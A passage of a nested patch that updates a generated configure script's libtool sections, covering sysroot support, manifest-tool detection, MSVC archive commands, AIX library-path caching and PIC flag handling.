+ if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+ cat <<_LT_EOF > conftest.$ac_ext
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT_DLSYM_CONST
++#else
++# define LT_DLSYM_CONST const
++#endif
++
+ #ifdef __cplusplus
+ extern "C" {
+ #endif
+@@ -7104,7 +7463,7 @@ _LT_EOF
+ cat <<_LT_EOF >> conftest.$ac_ext
+
+ /* The mapping between symbol names and symbols. */
+-const struct {
++LT_DLSYM_CONST struct {
+ const char *name;
+ void *address;
+ }
+@@ -7130,8 +7489,8 @@ static const void *lt_preloaded_setup() {
+ _LT_EOF
+ # Now try linking the two files.
+ mv conftest.$ac_objext conftstm.$ac_objext
+- lt_save_LIBS="$LIBS"
+- lt_save_CFLAGS="$CFLAGS"
++ lt_globsym_save_LIBS=$LIBS
++ lt_globsym_save_CFLAGS=$CFLAGS
+ LIBS="conftstm.$ac_objext"
+ CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
+@@ -7141,8 +7500,8 @@ _LT_EOF
+ test $ac_status = 0; } && test -s conftest${ac_exeext}; then
+ pipe_works=yes
+ fi
+- LIBS="$lt_save_LIBS"
+- CFLAGS="$lt_save_CFLAGS"
++ LIBS=$lt_globsym_save_LIBS
++ CFLAGS=$lt_globsym_save_CFLAGS
+ else
+ echo "cannot find nm_test_func in $nlist" >&5
+ fi
+@@ -7179,6 +7538,17 @@ else
+ $as_echo "ok" >&6; }
+ fi
+
++# Response file support.
++if test "$lt_cv_nm_interface" = "MS dumpbin"; then
++ nm_file_list_spec='@'
++elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
++ nm_file_list_spec='@'
++fi
++
++
++
++
++
+
+
+
+@@ -7195,6 +7565,44 @@ fi
+
+
+
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
++$as_echo_n "checking for sysroot... " >&6; }
++
++# Check whether --with-libtool-sysroot was given.
++if test "${with_libtool_sysroot+set}" = set; then :
++ withval=$with_libtool_sysroot;
++else
++ with_libtool_sysroot=no
++fi
++
++
++lt_sysroot=
++case ${with_libtool_sysroot} in #(
++ yes)
++ if test "$GCC" = yes; then
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ fi
++ ;; #(
++ /*)
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
++ ;; #(
++ no|'')
++ ;; #(
++ *)
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
++$as_echo "${with_libtool_sysroot}" >&6; }
++ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
++ ;;
++esac
++
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
++$as_echo "${lt_sysroot:-no}" >&6; }
+
+
+
+@@ -7372,39 +7780,156 @@ ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $
+ ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+ fi
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_cc_needs_belf" >&5
+-$as_echo "$lt_cv_cc_needs_belf" >&6; }
+- if test x"$lt_cv_cc_needs_belf" != x"yes"; then
+- # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf
+- CFLAGS="$SAVE_CFLAGS"
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_cc_needs_belf" >&5
++$as_echo "$lt_cv_cc_needs_belf" >&6; }
++ if test x"$lt_cv_cc_needs_belf" != x"yes"; then
++ # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf
++ CFLAGS="$SAVE_CFLAGS"
++ fi
++ ;;
++sparc*-*solaris*)
++ # Find out which ABI we are using.
++ echo 'int i;' > conftest.$ac_ext
++ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
++ (eval $ac_compile) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }; then
++ case `/usr/bin/file conftest.o` in
++ *64-bit*)
++ case $lt_cv_prog_gnu_ld in
++ yes*) LD="${LD-ld} -m elf64_sparc" ;;
++ *)
++ if ${LD-ld} -64 -r -o conftest2.o conftest.o >/dev/null 2>&1; then
++ LD="${LD-ld} -64"
++ fi
++ ;;
++ esac
++ ;;
++ esac
++ fi
++ rm -rf conftest*
++ ;;
++esac
++
++need_locks="$enable_libtool_lock"
++
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
++set dummy ${ac_tool_prefix}mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$MANIFEST_TOOL"; then
++ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
++if test -n "$MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
++$as_echo "$MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
++ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
++ # Extract the first word of "mt", so it can be a program name with args.
++set dummy mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_MANIFEST_TOOL"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
++if test -n "$ac_ct_MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
++$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_MANIFEST_TOOL" = x; then
++ MANIFEST_TOOL=":"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
+ fi
+- ;;
+-sparc*-*solaris*)
+- # Find out which ABI we are using.
+- echo 'int i;' > conftest.$ac_ext
+- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
+- (eval $ac_compile) 2>&5
+- ac_status=$?
+- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
+- test $ac_status = 0; }; then
+- case `/usr/bin/file conftest.o` in
+- *64-bit*)
+- case $lt_cv_prog_gnu_ld in
+- yes*) LD="${LD-ld} -m elf64_sparc" ;;
+- *)
+- if ${LD-ld} -64 -r -o conftest2.o conftest.o >/dev/null 2>&1; then
+- LD="${LD-ld} -64"
+- fi
+- ;;
+- esac
+- ;;
+- esac
++else
++ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
++fi
++
++test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
++$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
++if ${lt_cv_path_mainfest_tool+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_path_mainfest_tool=no
++ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
++ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
++ cat conftest.err >&5
++ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
++ lt_cv_path_mainfest_tool=yes
+ fi
+- rm -rf conftest*
+- ;;
+-esac
++ rm -f conftest*
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
++$as_echo "$lt_cv_path_mainfest_tool" >&6; }
++if test "x$lt_cv_path_mainfest_tool" != xyes; then
++ MANIFEST_TOOL=:
++fi
++
++
++
+
+-need_locks="$enable_libtool_lock"
+
+
+ case $host_os in
+@@ -7969,6 +8494,8 @@ _LT_EOF
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
+ echo "$AR cru libconftest.a conftest.o" >&5
+ $AR cru libconftest.a conftest.o 2>&5
++ echo "$RANLIB libconftest.a" >&5
++ $RANLIB libconftest.a 2>&5
+ cat > conftest.c << _LT_EOF
+ int main() { return 0;}
+ _LT_EOF
+@@ -7986,25 +8513,23 @@ _LT_EOF
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ld_force_load" >&5
+ $as_echo "$lt_cv_ld_force_load" >&6; }
+- # Allow for Darwin 4-7 (macOS 10.0-10.3) although these are not expect to
+- # build without first building modern cctools / linker.
+- case $host_cpu-$host_os in
+- *-rhapsody* | *-darwin1.[012])
++ case $host_os in
++ rhapsody* | darwin1.[012])
+ _lt_dar_allow_undefined='${wl}-undefined ${wl}suppress' ;;
+- *-darwin1.*)
++ darwin1.*)
+ _lt_dar_allow_undefined='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' ;;
+- *-darwin*)
+- # darwin 5.x (macOS 10.1) onwards we only need to adjust when the
+- # deployment target is forced to an earlier version.
+- case ${MACOSX_DEPLOYMENT_TARGET-UNSET},$host in
+- UNSET,*-darwin[89]*|UNSET,*-darwin[12][0123456789]*)
+- ;;
++ darwin*) # darwin 5.x on
++ # if running on 10.5 or later, the deployment target defaults
++ # to the OS version, if on x86, and 10.4, the deployment
++ # target defaults to 10.4. Don't you love it?
++ case ${MACOSX_DEPLOYMENT_TARGET-10.0},$host in
++ 10.0,*86*-darwin8*|10.0,*-darwin[91]*)
++ _lt_dar_allow_undefined='${wl}-undefined ${wl}dynamic_lookup' ;;
+ 10.[012][,.]*)
+- _lt_dar_allow_undefined='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
+- ;;
+- *)
+- ;;
+- esac
++ _lt_dar_allow_undefined='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' ;;
++ 10.*)
++ _lt_dar_allow_undefined='${wl}-undefined ${wl}dynamic_lookup' ;;
++ esac
+ ;;
+ esac
+ if test "$lt_cv_apple_cc_single_mod" = "yes"; then
+@@ -8553,8 +9078,6 @@ fi
+ lt_prog_compiler_pic=
+ lt_prog_compiler_static=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ if test "$GCC" = yes; then
+ lt_prog_compiler_wl='-Wl,'
+@@ -8720,6 +9243,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='--shared'
+ lt_prog_compiler_static='--static'
+ ;;
++ nagfor*)
++ # NAG Fortran compiler
++ lt_prog_compiler_wl='-Wl,-Wl,,'
++ lt_prog_compiler_pic='-PIC'
++ lt_prog_compiler_static='-Bstatic'
++ ;;
+ pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
+ # Portland Group compilers (*not* the Pentium gcc compiler,
+ # which looks to be a dead project)
+@@ -8782,7 +9311,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='-KPIC'
+ lt_prog_compiler_static='-Bstatic'
+ case $cc_basename in
+- f77* | f90* | f95*)
++ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
+ lt_prog_compiler_wl='-Qoption ld ';;
+ *)
+ lt_prog_compiler_wl='-Wl,';;
+@@ -8839,13 +9368,17 @@ case $host_os in
+ lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
+-$as_echo "$lt_prog_compiler_pic" >&6; }
+-
+-
+-
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
++$as_echo "$lt_cv_prog_compiler_pic" >&6; }
++lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -8906,6 +9439,11 @@ fi
+
+
+
++
++
++
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -9256,7 +9794,8 @@ _LT_EOF
+ allow_undefined_flag=unsupported
+ always_export_symbols=no
+ enable_shared_with_static_runtimes=yes
+- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
+
+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+@@ -9294,7 +9833,7 @@ _LT_EOF
+ archive_expsym_cmds='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
+ ;;
+
+- gnu* | linux* | tpf* | k*bsd*-gnu | kopensolaris*-gnu | uclinuxfdpiceabi)
++ gnu* | linux* | tpf* | k*bsd*-gnu | kopensolaris*-gnu)
+ tmp_diet=no
+ if test "$host_os" = linux-dietlibc; then
+ case $cc_basename in
+@@ -9355,12 +9894,12 @@ _LT_EOF
+ whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
+ hardcode_libdir_flag_spec=
+ hardcode_libdir_flag_spec_ld='-rpath $libdir'
+- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
++ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
+ if test "x$supports_anon_versioning" = xyes; then
+ archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
+ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+ echo "local: *; };" >> $output_objdir/$libname.ver~
+- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
++ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
+ fi
+ ;;
+ esac
+@@ -9374,8 +9913,8 @@ _LT_EOF
+ archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+ wlarc=
+ else
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ fi
+ ;;
+
+@@ -9393,8 +9932,8 @@ _LT_EOF
+
+ _LT_EOF
+ elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -9440,8 +9979,8 @@ _LT_EOF
+
+ *)
+ if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -9571,7 +10110,13 @@ _LT_EOF
+ allow_undefined_flag='-berok'
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9584,22 +10129,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+@@ -9611,7 +10163,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9624,22 +10182,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -9684,20 +10249,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ # Microsoft Visual C++.
+ # hardcode_libdir_flag_spec is actually meaningless, as there is
+ # no search path for DLLs.
+- hardcode_libdir_flag_spec=' '
+- allow_undefined_flag=unsupported
+- # Tell ltmain to make .lib files, not .a files.
+- libext=lib
+- # Tell ltmain to make .dll files, not .so files.
+- shrext_cmds=".dll"
+- # FIXME: Setting linknames here is a bad hack.
+- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
+- # The linker will automatically build a .lib file if we build a DLL.
+- old_archive_from_new_cmds='true'
+- # FIXME: Should let the user specify the lib program.
+- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
+- fix_srcfile_path='`cygpath -w "$srcfile"`'
+- enable_shared_with_static_runtimes=yes
++ case $cc_basename in
++ cl*)
++ # Native MSVC
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ always_export_symbols=yes
++ file_list_spec='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
++ enable_shared_with_static_runtimes=yes
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ # Don't use ranlib
++ old_postinstall_cmds='chmod 644 $oldlib'
++ postlink_cmds='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # Assume MSVC wrapper
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
++ # The linker will automatically build a .lib file if we build a DLL.
++ old_archive_from_new_cmds='true'
++ # FIXME: Should let the user specify the lib program.
++ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
++ enable_shared_with_static_runtimes=yes
++ ;;
++ esac
+ ;;
+
+ darwin* | rhapsody*)
+@@ -9758,7 +10366,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+ freebsd* | dragonfly*)
+- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+ hardcode_libdir_flag_spec='-R$libdir'
+ hardcode_direct=yes
+ hardcode_shlibpath_var=no
+@@ -9766,7 +10374,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux9*)
+ if test "$GCC" = yes; then
+- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ fi
+@@ -9782,7 +10390,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux10*)
